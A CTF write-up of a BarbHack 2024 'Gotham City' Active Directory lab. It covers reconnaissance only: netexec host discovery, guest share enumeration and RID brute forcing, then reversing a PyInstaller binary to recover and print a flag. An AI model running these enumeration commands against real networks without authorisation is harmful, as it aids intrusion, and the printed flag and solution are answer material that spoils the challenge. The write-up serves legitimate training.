Skip to main content
Netexec Workshop - BarbHack CTF 2024
  1. Articles/

Netexec Workshop - BarbHack CTF 2024

Elliot Belt
Author
Elliot Belt
I’m Felix Billières, pentester under the alias Elliot Belt. I do CTFs with the Phreaks 2600 team and I’m currently a Purple Teamer in internship. Passionate about Active Directory, web pentesting/bug bounty, and creating offensive and defensive tools.
Table of Contents

Netexec Workshop - BarbHack CTF 2024
#

Gotham City Active Directory Lab
#


Table of Contents
#


Overview
#

This writeup details the complete exploitation of an Active Directory lab during the BarbHack CTF 2024. The objective was to achieve domain domination by exploiting several vulnerabilities and advanced Active Directory techniques.

Final Objective: Obtain administrative access to the domain controller (DC01)

Main Tools: Netexec (nxc), Evil-WinRM, BloodyAD, Impacket


Phase 1: Initial Reconnaissance
#

Host Discovery
#

Let’s start by identifying all hosts on the network. We’ll use a simple network scan to map out our target environment.

Command used:

exegol@workspace$ nxc smb 192.168.56.0/24
SMB         192.168.56.12   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.11   445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.10   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)

What we discovered:

  • DC01 (192.168.56.10): Domain controller for GOTHAM.CITY
  • SRV01 (192.168.56.11): Domain member server
  • SRV02 (192.168.56.12): Domain member server

This gives us a clear picture of the network topology. The domain controller is the crown jewel, but we’ll need to work our way through the member servers first.

Then we add everything to hosts file:

exegol@workspace$ nxc smb 192.168.56.0/24 --generate-hosts-file hosts     

exegol@workspace$ cat hosts                                                  
192.168.56.12     SRV02.GOTHAM.CITY SRV02
192.168.56.11     SRV01.GOTHAM.CITY SRV01
192.168.56.10     DC01.GOTHAM.CITY GOTHAM.CITY DC01

SMB Share Enumeration
#

Now let’s see what shares are accessible anonymously. Sometimes you get lucky and find something interesting right off the bat.

Command used:

exegol@workspace$ nxc smb 192.168.56.0/24 -u 'Guest' -p '' --shares
SMB         192.168.56.12   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.11   445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.10   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
SMB         192.168.56.12   445    SRV02            [+] GOTHAM.CITY\Guest:
SMB         192.168.56.11   445    SRV01            [+] GOTHAM.CITY\Guest:
SMB         192.168.56.12   445    SRV02            [*] Enumerated shares
SMB         192.168.56.12   445    SRV02            Share           Permissions     Remark
SMB         192.168.56.12   445    SRV02            -----           -----------     ------
SMB         192.168.56.12   445    SRV02            ADMIN$                          Remote Admin
SMB         192.168.56.12   445    SRV02            C$                              Default share
SMB         192.168.56.12   445    SRV02            IPC$            READ            Remote IPC
SMB         192.168.56.10   445    DC01             [+] GOTHAM.CITY\Guest:
SMB         192.168.56.11   445    SRV01            [*] Enumerated shares
SMB         192.168.56.11   445    SRV01            Share           Permissions     Remark
SMB         192.168.56.11   445    SRV01            -----           -----------     ------
SMB         192.168.56.11   445    SRV01            ADMIN$                          Remote Admin
SMB         192.168.56.11   445    SRV01            C$                              Default share
SMB         192.168.56.11   445    SRV01            CleanSlate      READ,WRITE      Basic RW share for all
SMB         192.168.56.11   445    SRV01            IPC$            READ            Remote IPC
SMB         192.168.56.10   445    DC01             [*] Enumerated shares
SMB         192.168.56.10   445    DC01             Share           Permissions     Remark
SMB         192.168.56.10   445    DC01             -----           -----------     ------
SMB         192.168.56.10   445    DC01             ADMIN$                          Remote Admin
SMB         192.168.56.10   445    DC01             C$                              Default share
SMB         192.168.56.10   445    DC01             IPC$            READ            Remote IPC
SMB         192.168.56.10   445    DC01             NETLOGON                        Logon server share
SMB         192.168.56.10   445    DC01             SYSVOL                          Logon server share
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Interesting discovery: The CleanSlate share on SRV01 with read/write access! This is unusual and definitely worth investigating.

CleanSlate Executable Analysis
#

We found an executable file that looks suspicious. Let’s download it and analyze what it does.

Download command:

exegol@workspace$ smbclient \\\\192.168.56.11\\CleanSlate -U 'Guest'
Password for [WORKGROUP\Guest]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Aug 10 14:45:14 2025
  ..                                DHS        0  Sun Aug 10 14:20:39 2025
  cleanslate.exe                      A 10510609  Sun Aug 10 14:20:26 2025

		15638527 blocks of size 4096. 12377195 blocks available
smb: \> get cleanslate.exe
getting file \cleanslate.exe of size 10510609 as cleanslate.exe (540221.8 KiloBytes/sec) (average 540224.6 KiloBytes/sec)
smb: \>

Now let’s looking at that black magic reversing stuff.

cat cleanslate.exe

The binary output shows various Python-related strings and DLL files, indicating this is a PyInstaller-packaged Python application.

python catches my eye so i deep further in this rabbit hole

exegol@workspace$ cat cleanslate.exe | grep python
grep: (standard input): binary file matches
exegol@workspace$ strings cleanslate.exe | grep python
pyi-python-flag
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
pygments.lexers.python)
bpython311.dll
7python311.dll

I skipped all my low level classes to do some hackthebox so I ask my king GPT for some clues;

Decompiling the Source Code:

Use pyinstaller-extractor to recover the original Python scripts.
Audit the decompiled source code, focusing on:
Plaintext Secrets: Passwords, API keys, connection strings, certificates.
File Paths: References to configuration files, logs, or network resources.
System Commands: Calls to os.system(), subprocess.Popen(), or similar libraries.
Application Logic: Discover the program's actual function. Is its name misleading?

Yes king, i’ll do that

exegol@workspace$ python3 pyinstxtractor.py cleanslate.exe
[+] Processing cleanslate.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 10172177 bytes
[+] Found 26 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: cleanslate.pyc
[+] Found 604 files in PYZ archive
[+] Successfully extracted pyinstaller archive: cleanslate.exe

You can now use a python decompiler on the pyc files within the extracted directory
exegol@workspace$ ls
cleanslate.exe  cleanslate.exe_extracted  LICENSE  pyinstxtractor.py  README.md
exegol@workspace$ cd cleanslate.exe_extracted
exegol@workspace$ ls
base_library.zip  _ctypes.pyd   libcrypto-3.dll  _lzma.pyd                pyimod02_importers.pyc  pyi_rth_inspect.pyc  PYZ-00.pyz            _socket.pyd  unicodedata.pyd
_bz2.pyd          _decimal.pyd  libffi-8.dll     pyiboot01_bootstrap.pyc  pyimod03_ctypes.pyc     pyi_rth_pkgutil.pyc  PYZ-00.pyz_extracted  _ssl.pyd     VCRUNTIME140.dll
cleanslate.pyc    _hashlib.pyd  libssl-3.dll     pyimod01_archive.pyc     pyimod04_pywin32.pyc    python311.dll        select.pyd            struct.pyc

This is not the complete source code directly, but internal components of the PyInstaller packager. The file we are most interested in is cleanslate.pyc. The best tool to use for this type of decompilation is pycdc. Unlike uncompyle6, it is actively maintained and often performs better for recent versions of Python. Here is the installation process:

git clone https://github.com/zrax/pycdc.git
cd pycdc
cmake .
make

sorry for the dump:

exegol@workspace$ ./pycdc/pycdas cleanslate.pyc
cleanslate.pyc (Python 3.11)
[Code]
    File Name: cleanslate.py
    Object Name: <module>
    Qualified Name: <module>
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Stack Size: 2
    Flags: 0x00000000
    [Names]
        'rich.progress'
        'Progress'
        'time'
        'os'
        'base64'
        'shift_char'
        'KEY_FILE'
        'KEY'
        'is_valid_key'
        'cleaning'
        'main'
        '__name__'
    [Locals+Names]
    [Constants]
        0
        (
            'Progress'
        )
        None
        [Code]
            File Name: cleanslate.py
            Object Name: shift_char
            Qualified Name: shift_char
            Arg Count: 2
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 6
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'isalpha'
                'isupper'
                'chr'
                'ord'
                'isdigit'
            [Locals+Names]
                'c'
                'shift'
                'shift_amount'
                'base'
            [Constants]
                'Shift character by shift amount.'
                26
                'A'
                'a'
                10
                '0'
            [Disassembly]
                0       RESUME                          0
                2       LOAD_FAST                       0: c
                4       LOAD_METHOD                     0: isalpha
                26      PRECALL                         0
                30      CALL                            0
                40      POP_JUMP_FORWARD_IF_FALSE       95 (to 232)
                42      LOAD_FAST                       1: shift
                44      LOAD_CONST                      1: 26
                46      BINARY_OP                       6 (%)
                50      STORE_FAST                      2: shift_amount
                52      LOAD_FAST                       0: c
                54      LOAD_METHOD                     1: isupper
                76      PRECALL                         0
                80      CALL                            0
                90      POP_JUMP_FORWARD_IF_FALSE       2 (to 96)
                92      LOAD_CONST                      2: 'A'
                94      JUMP_FORWARD                    1 (to 98)
                96      LOAD_CONST                      3: 'a'
                98      STORE_FAST                      3: base
                100     LOAD_GLOBAL                     5: NULL + chr
                112     LOAD_GLOBAL                     7: NULL + ord
                124     LOAD_FAST                       0: c
                126     PRECALL                         1
                130     CALL                            1
                140     LOAD_GLOBAL                     7: NULL + ord
                152     LOAD_FAST                       3: base
                154     PRECALL                         1
                158     CALL                            1
                168     BINARY_OP                       10 (-)
                172     LOAD_FAST                       2: shift_amount
                174     BINARY_OP                       0 (+)
                178     LOAD_CONST                      1: 26
                180     BINARY_OP                       6 (%)
                184     LOAD_GLOBAL                     7: NULL + ord
                196     LOAD_FAST                       3: base
                198     PRECALL                         1
                202     CALL                            1
                212     BINARY_OP                       0 (+)
                216     PRECALL                         1
                220     CALL                            1
                230     RETURN_VALUE                    
                232     LOAD_FAST                       0: c
                234     LOAD_METHOD                     4: isdigit
                256     PRECALL                         0
                260     CALL                            0
                270     POP_JUMP_FORWARD_IF_FALSE       71 (to 414)
                272     LOAD_FAST                       1: shift
                274     LOAD_CONST                      4: 10
                276     BINARY_OP                       6 (%)
                280     STORE_FAST                      2: shift_amount
                282     LOAD_GLOBAL                     5: NULL + chr
                294     LOAD_GLOBAL                     7: NULL + ord
                306     LOAD_FAST                       0: c
                308     PRECALL                         1
                312     CALL                            1
                322     LOAD_GLOBAL                     7: NULL + ord
                334     LOAD_CONST                      5: '0'
                336     PRECALL                         1
                340     CALL                            1
                350     BINARY_OP                       10 (-)
                354     LOAD_FAST                       2: shift_amount
                356     BINARY_OP                       0 (+)
                360     LOAD_CONST                      4: 10
                362     BINARY_OP                       6 (%)
                366     LOAD_GLOBAL                     7: NULL + ord
                378     LOAD_CONST                      5: '0'
                380     PRECALL                         1
                384     CALL                            1
                394     BINARY_OP                       0 (+)
                398     PRECALL                         1
                402     CALL                            1
                412     RETURN_VALUE                    
                414     LOAD_FAST                       0: c
                416     RETURN_VALUE                    
        'C:\\SHARE\\key.txt'
        'fTk1NmRkMDQ2MDBpNjdnZDU0Z2dlMjdoNDNlZjJlNzFme2V1ZQ=='
        [Code]
            File Name: cleanslate.py
            Object Name: is_valid_key
            Qualified Name: is_valid_key
            Arg Count: 1
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 6
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'os'
                'path'
                'exists'
                'KEY_FILE'
                'open'
                'read'
                'strip'
                'len'
            [Locals+Names]
                'input_key'
                'file'
                'stored_key'
            [Constants]
                None
                'r'
                True
                24
                'GOTHAMCITY'
                False
            [Disassembly]
                0       RESUME                          0
                2       LOAD_GLOBAL                     0: os
                14      LOAD_ATTR                       1: path
                24      LOAD_METHOD                     2: exists
                46      LOAD_GLOBAL                     6: KEY_FILE
                58      PRECALL                         1
                62      CALL                            1
                72      POP_JUMP_FORWARD_IF_FALSE       116 (to 306)
                74      LOAD_GLOBAL                     9: NULL + open
                86      LOAD_GLOBAL                     6: KEY_FILE
                98      LOAD_CONST                      1: 'r'
                100     PRECALL                         2
                104     CALL                            2
                114     BEFORE_WITH                     
                116     STORE_FAST                      1: file
                118     LOAD_FAST                       1: file
                120     LOAD_METHOD                     5: read
                142     PRECALL                         0
                146     CALL                            0
                156     LOAD_METHOD                     6: strip
                178     PRECALL                         0
                182     CALL                            0
                192     STORE_FAST                      2: stored_key
                194     LOAD_CONST                      0: None
                196     LOAD_CONST                      0: None
                198     LOAD_CONST                      0: None
                200     PRECALL                         2
                204     CALL                            2
                214     POP_TOP                         
                216     JUMP_FORWARD                    11 (to 240)
                218     PUSH_EXC_INFO                   
                220     WITH_EXCEPT_START               
                222     POP_JUMP_FORWARD_IF_TRUE        4 (to 232)
                224     RERAISE                         2
                226     COPY                            3
                228     POP_EXCEPT                      
                230     RERAISE                         1
                232     POP_TOP                         
                234     POP_EXCEPT                      
                236     POP_TOP                         
                238     POP_TOP                         
                240     LOAD_FAST                       0: input_key
                242     LOAD_FAST                       2: stored_key
                244     COMPARE_OP                      2 (==)
                250     POP_JUMP_FORWARD_IF_FALSE       2 (to 256)
                252     LOAD_CONST                      2: True
                254     RETURN_VALUE                    
                256     LOAD_GLOBAL                     15: NULL + len
                268     LOAD_FAST                       0: input_key
                270     PRECALL                         1
                274     CALL                            1
                284     LOAD_CONST                      3: 24
                286     COMPARE_OP                      2 (==)
                292     POP_JUMP_FORWARD_IF_FALSE       6 (to 306)
                294     LOAD_CONST                      4: 'GOTHAMCITY'
                296     LOAD_FAST                       0: input_key
                298     CONTAINS_OP                     0 (in)
                300     POP_JUMP_FORWARD_IF_FALSE       2 (to 306)
                302     LOAD_CONST                      2: True
                304     RETURN_VALUE                    
                306     LOAD_CONST                      5: False
                308     RETURN_VALUE                    
        [Code]
            File Name: cleanslate.py
            Object Name: cleaning
            Qualified Name: cleaning
            Arg Count: 1
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 4
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'base64'
                'b64decode'
                'decode'
                'join'
            [Locals+Names]
                'encoded_flag'
                'decoded_bytes'
                'decoded_flag'
                'reversed_shifted_flag'
                'original_flag'
                'shift'
            [Constants]
                None
                3
                ''
                [Code]
                    File Name: cleanslate.py
                    Object Name: <genexpr>
                    Qualified Name: cleaning.<locals>.<genexpr>
                    Arg Count: 1
                    Pos Only Arg Count: 0
                    KW Only Arg Count: 0
                    Stack Size: 5
                    Flags: 0x00000033 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NESTED | CO_GENERATOR)
                    [Names]
                        'shift_char'
                    [Locals+Names]
                        '.0'
                        'c'
                        'shift'
                    [Constants]
                        None
                    [Disassembly]
                        0       COPY_FREE_VARS                  1
                        2       RETURN_GENERATOR                
                        4       POP_TOP                         
                        6       RESUME                          0
                        8       LOAD_FAST                       0: .0
                        10      FOR_ITER                        21 (to 54)
                        12      STORE_FAST                      1: c
                        14      LOAD_GLOBAL                     1: NULL + shift_char
                        26      LOAD_FAST                       1: c
                        28      LOAD_DEREF                      2: shift
                        30      UNARY_NEGATIVE                  
                        32      PRECALL                         2
                        36      CALL                            2
                        46      YIELD_VALUE                     
                        48      RESUME                          1
                        50      POP_TOP                         
                        52      JUMP_BACKWARD                   22 (to 10)
                        54      LOAD_CONST                      0: None
                        56      RETURN_VALUE                    
                -1
            [Disassembly]
                0       MAKE_CELL                       5: shift
                2       RESUME                          0
                4       LOAD_GLOBAL                     1: NULL + base64
                16      LOAD_ATTR                       1: b64decode
                26      LOAD_FAST                       0: encoded_flag
                28      PRECALL                         1
                32      CALL                            1
                42      STORE_FAST                      1: decoded_bytes
                44      LOAD_FAST                       1: decoded_bytes
                46      LOAD_METHOD                     2: decode
                68      PRECALL                         0
                72      CALL                            0
                82      STORE_FAST                      2: decoded_flag
                84      LOAD_CONST                      1: 3
                86      STORE_DEREF                     5: shift
                88      LOAD_CONST                      2: ''
                90      LOAD_METHOD                     3: join
                112     LOAD_CLOSURE                    5: shift
                114     BUILD_TUPLE                     1
                116     LOAD_CONST                      3: <CODE> <genexpr>
                118     MAKE_FUNCTION                   8
                120     LOAD_FAST                       2: decoded_flag
                122     GET_ITER                        
                124     PRECALL                         0
                128     CALL                            0
                138     PRECALL                         1
                142     CALL                            1
                152     STORE_FAST                      3: reversed_shifted_flag
                154     LOAD_FAST                       3: reversed_shifted_flag
                156     LOAD_CONST                      0: None
                158     LOAD_CONST                      0: None
                160     LOAD_CONST                      4: -1
                162     BUILD_SLICE                     3
                164     BINARY_SUBSCR                   
                174     STORE_FAST                      4: original_flag
                176     LOAD_FAST                       4: original_flag
                178     RETURN_VALUE                    
        [Code]
            File Name: cleanslate.py
            Object Name: main
            Qualified Name: main
            Arg Count: 0
            Pos Only Arg Count: 0
            KW Only Arg Count: 0
            Stack Size: 6
            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
            [Names]
                'input'
                'is_valid_key'
                'print'
                'Progress'
                'add_task'
                'range'
                'time'
                'sleep'
                'update'
                'cleaning'
                'KEY'
            [Locals+Names]
                'key'
                'progress'
                'task'
                'i'
            [Constants]
                None
                'Enter your key: '
                'Key is valid! Cleaning data...'
                '[green]Processing...'
                100
                (
                    'total'
                )
                0.05
                1
                (
                    'advance'
                )
                'Process completed! Flag:'
                'Invalid key. Please try again.'
            [Disassembly]
                0       RESUME                          0
                2       LOAD_GLOBAL                     1: NULL + input
                14      LOAD_CONST                      1: 'Enter your key: '
                16      PRECALL                         1
                20      CALL                            1
                30      STORE_FAST                      0: key
                32      LOAD_GLOBAL                     3: NULL + is_valid_key
                44      LOAD_FAST                       0: key
                46      PRECALL                         1
                50      CALL                            1
                60      POP_JUMP_FORWARD_IF_FALSE       174 (to 410)
                62      LOAD_GLOBAL                     5: NULL + print
                74      LOAD_CONST                      2: 'Key is valid! Cleaning data...'
                76      PRECALL                         1
                80      CALL                            1
                90      POP_TOP                         
                92      LOAD_GLOBAL                     7: NULL + Progress
                104     PRECALL                         0
                108     CALL                            0
                118     BEFORE_WITH                     
                120     STORE_FAST                      1: progress
                122     LOAD_FAST                       1: progress
                124     LOAD_METHOD                     4: add_task
                146     LOAD_CONST                      3: '[green]Processing...'
                148     LOAD_CONST                      4: 100
                150     KW_NAMES                        5: ('total',)
                152     PRECALL                         2
                156     CALL                            2
                166     STORE_FAST                      2: task
                168     LOAD_GLOBAL                     11: NULL + range
                180     LOAD_CONST                      4: 100
                182     PRECALL                         1
                186     CALL                            1
                196     GET_ITER                        
                198     FOR_ITER                        45 (to 290)
                200     STORE_FAST                      3: i
                202     LOAD_GLOBAL                     13: NULL + time
                214     LOAD_ATTR                       7: sleep
                224     LOAD_CONST                      6: 0.05
                226     PRECALL                         1
                230     CALL                            1
                240     POP_TOP                         
                242     LOAD_FAST                       1: progress
                244     LOAD_METHOD                     8: update
                266     LOAD_FAST                       2: task
                268     LOAD_CONST                      7: 1
                270     KW_NAMES                        8: ('advance',)
                272     PRECALL                         2
                276     CALL                            2
                286     POP_TOP                         
                288     JUMP_BACKWARD                   46 (to 198)
                290     NOP                             
                292     LOAD_CONST                      0: None
                294     LOAD_CONST                      0: None
                296     LOAD_CONST                      0: None
                298     PRECALL                         2
                302     CALL                            2
                312     POP_TOP                         
                314     JUMP_FORWARD                    11 (to 338)
                316     PUSH_EXC_INFO                   
                318     WITH_EXCEPT_START               
                320     POP_JUMP_FORWARD_IF_TRUE        4 (to 330)
                322     RERAISE                         2
                324     COPY                            3
                326     POP_EXCEPT                      
                328     RERAISE                         1
                330     POP_TOP                         
                332     POP_EXCEPT                      
                334     POP_TOP                         
                336     POP_TOP                         
                338     LOAD_GLOBAL                     5: NULL + print
                350     LOAD_CONST                      9: 'Process completed! Flag:'
                352     LOAD_GLOBAL                     19: NULL + cleaning
                364     LOAD_GLOBAL                     20: KEY
                376     PRECALL                         1
                380     CALL                            1
                390     PRECALL                         2
                394     CALL                            2
                404     POP_TOP                         
                406     LOAD_CONST                      0: None
                408     RETURN_VALUE                    
                410     LOAD_GLOBAL                     5: NULL + print
                422     LOAD_CONST                      10: 'Invalid key. Please try again.'
                424     PRECALL                         1
                428     CALL                            1
                438     POP_TOP                         
                440     LOAD_CONST                      0: None
                442     RETURN_VALUE                    
        '__main__'
    [Disassembly]
        0       RESUME                          0
        2       LOAD_CONST                      0: 0
        4       LOAD_CONST                      1: ('Progress',)
        6       IMPORT_NAME                     0: rich.progress
        8       IMPORT_FROM                     1: Progress
        10      STORE_NAME                      1: Progress
        12      POP_TOP                         
        14      LOAD_CONST                      0: 0
        16      LOAD_CONST                      2: None
        18      IMPORT_NAME                     2: time
        20      STORE_NAME                      2: time
        22      LOAD_CONST                      0: 0
        24      LOAD_CONST                      2: None
        26      IMPORT_NAME                     3: os
        28      STORE_NAME                      3: os
        30      LOAD_CONST                      0: 0
        32      LOAD_CONST                      2: None
        34      IMPORT_NAME                     4: base64
        36      STORE_NAME                      4: base64
        38      LOAD_CONST                      3: <CODE> shift_char
        40      MAKE_FUNCTION                   0
        42      STORE_NAME                      5: shift_char
        44      LOAD_CONST                      4: 'C:\\SHARE\\key.txt'
        46      STORE_NAME                      6: KEY_FILE
        48      LOAD_CONST                      5: 'fTk1NmRkMDQ2MDBpNjdnZDU0Z2dlMjdoNDNlZjJlNzFme2V1ZQ=='
        50      STORE_NAME                      7: KEY
        52      LOAD_CONST                      6: <CODE> is_valid_key
        54      MAKE_FUNCTION                   0
        56      STORE_NAME                      8: is_valid_key
        58      LOAD_CONST                      7: <CODE> cleaning
        60      MAKE_FUNCTION                   0
        62      STORE_NAME                      9: cleaning
        64      LOAD_CONST                      8: <CODE> main
        66      MAKE_FUNCTION                   0
        68      STORE_NAME                      10: main
        70      LOAD_NAME                       11: __name__
        72      LOAD_CONST                      9: '__main__'
        74      COMPARE_OP                      2 (==)
        80      POP_JUMP_FORWARD_IF_FALSE       12 (to 106)
        82      PUSH_NULL                       
        84      LOAD_NAME                       10: main
        86      PRECALL                         0
        90      CALL                            0
        100     POP_TOP                         
        102     LOAD_CONST                      2: None
        104     RETURN_VALUE                    
        106     LOAD_CONST                      2: None
        108     RETURN_VALUE                    

After a quick look, I have concluded that there are 3 steps:

Decode the string fTk1NmRkMDQ2MDBpNjdnZDU0Z2dlMjdoNDNlZjJlNzFme2V1ZQ== from Base64.

Apply a character shift (inverse Caesar cipher) of 3.

Reverse the resulting string.

import base64
import sys

def shift_char(c, shift):
    if c.isalpha():
        base = 'A' if c.isupper() else 'a'
        return chr((ord(c) - ord(base) + shift) % 26 + ord(base))
    elif c.isdigit():
        base = '0'
        return chr((ord(c) - ord(base) + shift) % 10 + ord(base))
    return c

def cleaning(encoded_flag):
    decoded_bytes = base64.b64decode(encoded_flag)
    decoded_flag = decoded_bytes.decode('utf-8')
    shift = 3
    reversed_shifted_flag = "".join(shift_char(c, -shift) for c in decoded_flag)
    original_flag = reversed_shifted_flag[::-1]
    return original_flag

KEY = 'fTk1NmRkMDQ2MDBpNjdnZDU0Z2dlMjdoNDNlZjJlNzFme2V1ZQ=='
flag = cleaning(KEY)

print(f"Le flag est: {flag}")

output:
exegol@workspace$ python3 decode.py                       
Le flag est: brb{c84b9cb01e49bdd12ad43f77317aa326}

yeepee

User Enumeration
#

Time to see what users exist in this domain. We’ll use RID brute forcing to discover accounts that might not be immediately visible.

exegol@workspace$ nxc smb 192.168.56.0/24 -u 'Guest' -p '' --rid-brute     
SMB         192.168.56.11   445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False) 
SMB         192.168.56.12   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False) 
SMB         192.168.56.10   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False) 
SMB         192.168.56.11   445    SRV01            [+] GOTHAM.CITY\Guest: 
SMB         192.168.56.12   445    SRV02            [+] GOTHAM.CITY\Guest: 
SMB         192.168.56.10   445    DC01             [+] GOTHAM.CITY\Guest: 
SMB         192.168.56.11   445    SRV01            500: SRV01\Administrator (SidTypeUser)
SMB         192.168.56.11   445    SRV01            501: SRV01\Guest (SidTypeUser)
SMB         192.168.56.11   445    SRV01            503: SRV01\DefaultAccount (SidTypeUser)
SMB         192.168.56.11   445    SRV01            504: SRV01\WDAGUtilityAccount (SidTypeUser)
SMB         192.168.56.11   445    SRV01            513: SRV01\None (SidTypeGroup)
SMB         192.168.56.11   445    SRV01            1000: SRV01\vagrant (SidTypeUser)
SMB         192.168.56.12   445    SRV02            500: SRV02\Administrator (SidTypeUser)
SMB         192.168.56.12   445    SRV02            501: SRV02\Guest (SidTypeUser)
SMB         192.168.56.12   445    SRV02            503: SRV02\DefaultAccount (SidTypeUser)
SMB         192.168.56.12   445    SRV02            504: SRV02\WDAGUtilityAccount (SidTypeUser)
SMB         192.168.56.12   445    SRV02            513: SRV02\None (SidTypeGroup)
SMB         192.168.56.12   445    SRV02            1000: SRV02\vagrant (SidTypeUser)
SMB         192.168.56.10   445    DC01             498: GOTHAM\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             500: GOTHAM\Administrator (SidTypeUser)
SMB         192.168.56.10   445    DC01             501: GOTHAM\Guest (SidTypeUser)
SMB         192.168.56.10   445    DC01             502: GOTHAM\krbtgt (SidTypeUser)
SMB         192.168.56.10   445    DC01             512: GOTHAM\Domain Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             513: GOTHAM\Domain Users (SidTypeGroup)
SMB         192.168.56.10   445    DC01             514: GOTHAM\Domain Guests (SidTypeGroup)
SMB         192.168.56.10   445    DC01             515: GOTHAM\Domain Computers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             516: GOTHAM\Domain Controllers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             517: GOTHAM\Cert Publishers (SidTypeAlias)
SMB         192.168.56.10   445    DC01             518: GOTHAM\Schema Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             519: GOTHAM\Enterprise Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             520: GOTHAM\Group Policy Creator Owners (SidTypeGroup)
SMB         192.168.56.10   445    DC01             521: GOTHAM\Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             522: GOTHAM\Cloneable Domain Controllers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             525: GOTHAM\Protected Users (SidTypeGroup)
SMB         192.168.56.10   445    DC01             526: GOTHAM\Key Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             527: GOTHAM\Enterprise Key Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             553: GOTHAM\RAS and IAS Servers (SidTypeAlias)
SMB         192.168.56.10   445    DC01             571: GOTHAM\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         192.168.56.10   445    DC01             572: GOTHAM\Denied RODC Password Replication Group (SidTypeAlias)
SMB         192.168.56.10   445    DC01             1000: GOTHAM\vagrant (SidTypeUser)
SMB         192.168.56.10   445    DC01             1001: GOTHAM\DC01$ (SidTypeUser)
SMB         192.168.56.10   445    DC01             1102: GOTHAM\DnsAdmins (SidTypeAlias)
SMB         192.168.56.10   445    DC01             1103: GOTHAM\DnsUpdateProxy (SidTypeGroup)
SMB         192.168.56.10   445    DC01             1104: GOTHAM\SRV02$ (SidTypeUser)
SMB         192.168.56.10   445    DC01             1105: GOTHAM\SRV01$ (SidTypeUser)
SMB         192.168.56.10   445    DC01             1106: GOTHAM\bruce.wayne (SidTypeUser)
SMB         192.168.56.10   445    DC01             1107: GOTHAM\joker (SidTypeUser)
SMB         192.168.56.10   445    DC01             1108: GOTHAM\alfred.pennyworth (SidTypeUser)
SMB         192.168.56.10   445    DC01             1109: GOTHAM\selina.kyle (SidTypeUser)
SMB         192.168.56.10   445    DC01             1110: GOTHAM\harvey.dent (SidTypeUser)
SMB         192.168.56.10   445    DC01             1111: GOTHAM\jim.gordon (SidTypeUser)
SMB         192.168.56.10   445    DC01             1112: GOTHAM\lucius.fox1337 (SidTypeUser)
SMB         192.168.56.10   445    DC01             1113: GOTHAM\barbara.gordon (SidTypeUser)
SMB         192.168.56.10   445    DC01             1114: GOTHAM\oswald.cobblepot (SidTypeUser)
SMB         192.168.56.10   445    DC01             1115: GOTHAM\edward.nygma (SidTypeUser)
SMB         192.168.56.10   445    DC01             1116: GOTHAM\bane (SidTypeUser)
SMB         192.168.56.10   445    DC01             1117: GOTHAM\victor.freeze (SidTypeUser)
SMB         192.168.56.10   445    DC01             1118: GOTHAM\harley.quinn (SidTypeUser)
SMB         192.168.56.10   445    DC01             1119: GOTHAM\dick.grayson (SidTypeUser)
SMB         192.168.56.10   445    DC01             1120: GOTHAM\jason.todd (SidTypeUser)
SMB         192.168.56.10   445    DC01             1121: GOTHAM\tim.drake (SidTypeUser)
SMB         192.168.56.10   445    DC01             1122: GOTHAM\talia.al.ghul (SidTypeUser)
SMB         192.168.56.10   445    DC01             1123: GOTHAM\rachel.dawes (SidTypeUser)
SMB         192.168.56.10   445    DC01             1124: GOTHAM\ras.al.ghul (SidTypeUser)
SMB         192.168.56.10   445    DC01             1125: GOTHAM\scarecrow (SidTypeUser)
SMB         192.168.56.10   445    DC01             1126: GOTHAM\poison.ivy (SidTypeUser)
